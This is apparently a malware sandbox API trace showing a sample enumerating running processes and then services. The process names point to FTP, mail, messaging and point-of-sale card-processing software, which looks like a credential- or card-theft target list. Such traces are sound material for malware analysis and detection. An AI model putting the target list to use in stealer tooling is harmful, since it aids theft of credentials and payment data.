	[0074.074] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0074.075] lstrlenW (lpString="try.exe") returned 7
	[0074.075] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0074.075] lstrlenW (lpString="consultancy.exe") returned 15
	[0074.075] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0074.076] lstrlenW (lpString="especially.exe") returned 14
	[0074.076] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0074.076] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0074.076] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0074.077] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0074.077] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0074.077] lstrlenW (lpString="modules.exe") returned 11
	[0074.077] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0074.078] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0074.078] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0074.078] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0074.078] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0074.079] lstrlenW (lpString="3dftp.exe") returned 9
	[0074.079] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0074.079] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0074.079] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0074.080] lstrlenW (lpString="alftp.exe") returned 9
	[0074.080] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0074.080] lstrlenW (lpString="barca.exe") returned 9
	[0074.080] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0074.081] lstrlenW (lpString="bitkinex.exe") returned 12
	[0074.081] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0074.082] lstrlenW (lpString="coreftp.exe") returned 11
	[0074.082] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0074.461] lstrlenW (lpString="far.exe") returned 7
	[0074.461] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0074.462] lstrlenW (lpString="filezilla.exe") returned 13
	[0074.462] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0074.463] lstrlenW (lpString="flashfxp.exe") returned 12
	[0074.463] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0074.464] lstrlenW (lpString="fling.exe") returned 9
	[0074.464] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0074.465] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0074.465] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0074.466] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0074.466] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0074.466] lstrlenW (lpString="icq.exe") returned 7
	[0074.466] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0074.467] lstrlenW (lpString="leechftp.exe") returned 12
	[0074.467] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0074.468] lstrlenW (lpString="ncftp.exe") returned 9
	[0074.468] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0074.469] lstrlenW (lpString="notepad.exe") returned 11
	[0074.469] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0074.470] lstrlenW (lpString="operamail.exe") returned 13
	[0074.470] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0074.471] lstrlenW (lpString="pidgin.exe") returned 10
	[0074.471] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0074.472] lstrlenW (lpString="scriptftp.exe") returned 13
	[0074.472] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0074.472] lstrlenW (lpString="skype.exe") returned 9
	[0074.472] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0074.474] lstrlenW (lpString="smartftp.exe") returned 12
	[0074.474] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0074.475] lstrlenW (lpString="thunderbird.exe") returned 15
	[0074.475] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0074.475] lstrlenW (lpString="totalcmd.exe") returned 12
	[0074.475] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0074.476] lstrlenW (lpString="trillian.exe") returned 12
	[0074.476] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0074.477] lstrlenW (lpString="webdrive.exe") returned 12
	[0074.477] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0074.478] lstrlenW (lpString="whatsapp.exe") returned 12
	[0074.478] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0074.479] lstrlenW (lpString="winscp.exe") returned 10
	[0074.479] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0074.479] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0074.479] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0074.480] lstrlenW (lpString="active-charge.exe") returned 17
	[0074.480] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0074.481] lstrlenW (lpString="accupos.exe") returned 11
	[0074.481] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0074.482] lstrlenW (lpString="afr38.exe") returned 9
	[0074.482] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0074.482] lstrlenW (lpString="aldelo.exe") returned 10
	[0074.483] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0074.483] lstrlenW (lpString="ccv_server.exe") returned 14
	[0074.483] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0074.484] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0074.484] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0074.485] lstrlenW (lpString="creditservice.exe") returned 17
	[0074.485] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0074.485] lstrlenW (lpString="edcsvr.exe") returned 10
	[0074.486] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0074.486] lstrlenW (lpString="fpos.exe") returned 8
	[0074.486] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0074.487] lstrlenW (lpString="isspos.exe") returned 10
	[0074.487] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0074.488] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0074.488] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0074.489] lstrlenW (lpString="omnipos.exe") returned 11
	[0074.489] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0074.489] lstrlenW (lpString="spcwin.exe") returned 10
	[0074.489] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0074.490] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0074.490] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0074.491] lstrlenW (lpString="utg2.exe") returned 8
	[0074.491] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0074.491] lstrlenW (lpString="explicit.exe") returned 12
	[0074.491] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0074.492] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0074.492] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.493] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.493] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0074.493] lstrlenW (lpString="UsoClient.exe") returned 13
	[0074.493] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.494] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.494] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0074.495] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0074.495] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0074.495] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0074.495] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.496] lstrlenW (lpString="conhost.exe") returned 11
	[0074.496] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.497] lstrlenW (lpString="conhost.exe") returned 11
	[0074.497] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.497] lstrlenW (lpString="svchost.exe") returned 11
	[0074.497] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0074.498] lstrlenW (lpString="fvppjh.exe") returned 10
	[0074.498] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.499] lstrlenW (lpString="svchost.exe") returned 11
	[0074.499] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0074.499] lstrlenW (lpString="cmd.exe") returned 7
	[0074.499] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.500] lstrlenW (lpString="conhost.exe") returned 11
	[0074.500] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0074.500] lstrlenW (lpString="dllhost.exe") returned 11
	[0074.500] Process32NextW (in: hSnapshot=0x2d4, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0074.501] CloseHandle (hObject=0x2d4) returned 1
	[0074.501] Sleep (dwMilliseconds=0x1f4) 
	[0075.391] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75eb10
	[0075.391] EnumServicesStatusExW (in: hSCManager=0x75eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0075.392] GetLastError () returned 0xea
	[0075.392] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1d6a) returned 0x783bf0
	[0075.392] EnumServicesStatusExW (in: hSCManager=0x75eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x783bf0, cbBufSize=0x1d6a, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x783bf0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0075.393] CloseServiceHandle (hSCObject=0x75eb10) returned 1
	[0075.393] lstrlenW (lpString="Appinfo") returned 7
